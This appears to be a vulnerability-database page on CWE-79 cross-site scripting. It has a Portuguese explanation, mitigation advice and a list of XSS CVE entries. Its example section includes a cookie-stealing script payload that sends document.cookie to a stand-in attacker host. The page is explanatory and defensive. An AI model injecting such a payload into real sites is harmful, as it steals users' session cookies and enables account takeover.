Fallos del tipo CWE-79

29.882 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-0981HIGHOkta Browser Plugin versions 6.5.0 through 6.31.0 (Chrome/Edge/Firefox/Safari) are vulnerable to cross-site scripting. This issue occurs wheEPSS 0.4%CVE-2026-104900MEDIUMMISP Stored XSS via Unescaped Count Field Value in Remote Event Preview IndexEPSS 0.4%CVE-2024-6082MEDIUMPHPVibe Global Options Page functionalities.global.php cross site scriptingEPSS 0.4%CVE-2026-9280MEDIUMAd Inserter <= 2.8.15 - Reflected Cross-Site Scripting via URL Parameters in iframe ModeEPSS 0.4%CVE-2026-103321HIGHMISP Stored Cross-Site Scripting (XSS) via Unvalidated Event Graph Preview ImageEPSS 0.4%CVE-2022-45758MEDIUMSENS v1.0 is vulnerable to Cross Site Scripting (XSS) via com.liuyanzhao.sens.web.controller.admin, getRegister.EPSS 0.4%CVE-2024-30433MEDIUMWordPress MultiVendorX Marketplace plugin <= 4.1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-29775MEDIUMWordPress Frontend Dashboard plugin <= 2.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-71388MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75667MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-48260MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-48257MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75694MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-34413MEDIUMWordPress SliceWP Affiliates plugin <= 1.1.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-48253MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-48415MEDIUMitsourcecode Loan Management System v1.0 is vulnerable to Cross Site Scripting (XSS) via a crafted payload to the lastname, firstname, middlEPSS 0.4%CVE-2026-75670MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75685MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-30452MEDIUMWordPress Landing Page Builder plugin <= 1.5.1.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-19713MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%